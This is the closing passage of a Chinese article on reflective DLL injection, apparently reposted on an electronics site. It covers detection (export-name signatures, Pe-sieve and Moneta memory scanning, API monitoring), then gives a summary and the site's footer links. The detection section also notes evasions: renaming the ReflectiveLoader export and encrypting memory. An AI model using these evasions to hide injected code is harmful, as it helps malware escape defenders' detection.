92bf1b42-b6b3-11ee-8b88-92fbcf53809c.png

檢測

針對反射的 DLL 的導出函數 ReflectiveLoader 函數名稱進行特征(這可以通過修改導出函數名稱解決),使用 Pesieve 或者 Moneta 等內存掃描工具針對被加載的 PE 載荷進行運行時檢測,這需要對運行的內存進行加密來對抗。針對一些敏感的 API 調用進行監控。

總結

本文首先針對反射 DLL 注入的應用場景做了簡單的介紹,之后介紹了反射 DLL 注入的原理,其由兩部分組成,其中一部分是反射 DLL,另一部分反射 DLL 注入器,兩者缺一不可。之后結合開源代碼對反射 DLL 注入的實現進行了進一步說明,對其實現流程進行了說明,最后演示了反射 DLL 注入的效果和提出了一些注意點,并提供了一些檢測方式。

審核編輯:湯梓紅

聲明:本文內容及配圖由入駐作者撰寫或者入駐合作網站授權轉載。文章觀點僅代表作者本人,不代表電子發燒友網立場。文章及其配圖僅供工程師學習之用,如有內容侵權或者其他違規問題,請聯系本站處理。 舉報投訴
  • dll
    dll
    +關注

    關注

    0

    文章

    116

    瀏覽量

    46060
  • 程序
    +關注

    關注

    117

    文章

    3820

    瀏覽量

    82375
  • 函數
    +關注

    關注

    3

    文章

    4367

    瀏覽量

    64136

原文標題:反射 DLL 注入

文章出處:【微信號:蛇矛實驗室,微信公眾號:蛇矛實驗室】歡迎添加關注!文章轉載請注明出處。

收藏 人收藏

    評論

    相關推薦
    熱點推薦

    光時域反射儀(OTDR)工作原理及測試方法

    一、OTDR的工作原理:光纖光纜測試是光纜施工、維護、搶修重要技術手段,采用OTDR(光時域反射儀)進行光纖連接的現場監視和連接損耗測量評價,是目前最有效的方式。這種
    發表于 08-09 10:05 ?6064次閱讀

    時域反射計的工作原理

    傳統時域反射工作原理時域反射計TDR是最常用的測量傳輸線特征阻抗的儀器,它是利用時域反射的原理進行特性阻抗的測量。圖1是傳統TDR工作原理
    發表于 07-01 08:23

    Spring工作原理

    2.AOP的主要原理:動態代理Spring工作原理Spring 已經用過一段時間了,感覺Spring是個很不錯的框架。內部最核心的就是IOC了,動態注入,讓一個對象的創建不用new了,可以自動的生產,這其實
    發表于 07-10 07:41

    TCRT5000紅外反射傳感器與SG90舵機的工作原理

    TCRT5000紅外反射傳感器的工作原理是什么?SG90舵機的工作原理是什么?
    發表于 10-11 07:35

    DTH11傳感器工作原理流程解析

    DTH11的工作原理是什么?DTH11傳感器的通訊流程是怎樣的?
    發表于 02-18 06:49

    如何編寫dll文件

    如何編寫dll文件:可以用幾種語言來實現,如delphi編寫dll,pb編寫dll文件,java 編寫dll,vc 編寫
    發表于 01-16 10:20 ?8980次閱讀

    利用DLL函數實現溫度測量與控制

    利用DLL函數實現溫度測量與控制,喜歡的朋友可以下載來學習。
    發表于 01-13 16:15 ?12次下載

    利用LabWindowsCVI(DAQ+DLL實現_程序案例

    程序案例 利用LabWindowsCVI(DAQ+DLL實現開關量輸入(DI)
    發表于 01-13 16:21 ?17次下載

    時域反射計TDR的工作原理詳細說明

    測試信號的運行特征參考圖2所示。由階躍源發出的快邊沿信號注入到被測傳輸線上,如果傳輸線阻抗連續,這個快沿階躍信號就沿著傳輸線向前傳播。當傳輸線出現阻抗變化時,階躍信號就有一部分反射回來,一部分繼續
    發表于 12-18 10:28 ?4次下載

    Java反射工作原理和源碼分析

    Java反射工作原理和源碼分析
    發表于 07-08 15:11 ?14次下載
    Java<b class='flag-5'>反射</b>的<b class='flag-5'>工作原理</b>和源碼分析

    機器視覺檢測系統的工作原理及檢測流程

    機器視覺檢測系統的工作原理及檢測流程說明。
    發表于 04-26 09:18 ?20次下載

    電流注入探頭的工作原理

    電流注入探頭是一種測量電器的工具,主要用于實時監測電路中的電流變化。它的工作原理是將一個小電阻串聯在電路中,并通過該電阻注入恒定電流,然后通過檢測電阻兩端的電壓變化來計算電路中的電流。本文將詳細介紹電流
    的頭像 發表于 03-29 15:40 ?2727次閱讀

    光纖反射內存產品的工作原理及特點

    內存產品的特點、工作原理及應用場景,幫助讀者全面了解這一技術。 一、光纖反射內存產品的特點 光纖反射內存產品是一種基于光纖反射鏡技術的存儲設備,具有高速度、大容量、低能耗、高可靠性和長
    的頭像 發表于 11-11 12:26 ?2266次閱讀

    反射內存卡的工作原理

    天津拓航科技反射內存卡的工作原理
    的頭像 發表于 11-14 10:36 ?810次閱讀
    <b class='flag-5'>反射</b>內存卡的<b class='flag-5'>工作原理</b>

    反射內存交換機工作原理

    天津拓航科技自研生產的反射內存交換機工作原理解析
    的頭像 發表于 11-14 10:45 ?628次閱讀
    <b class='flag-5'>反射</b>內存交換機<b class='flag-5'>工作原理</b>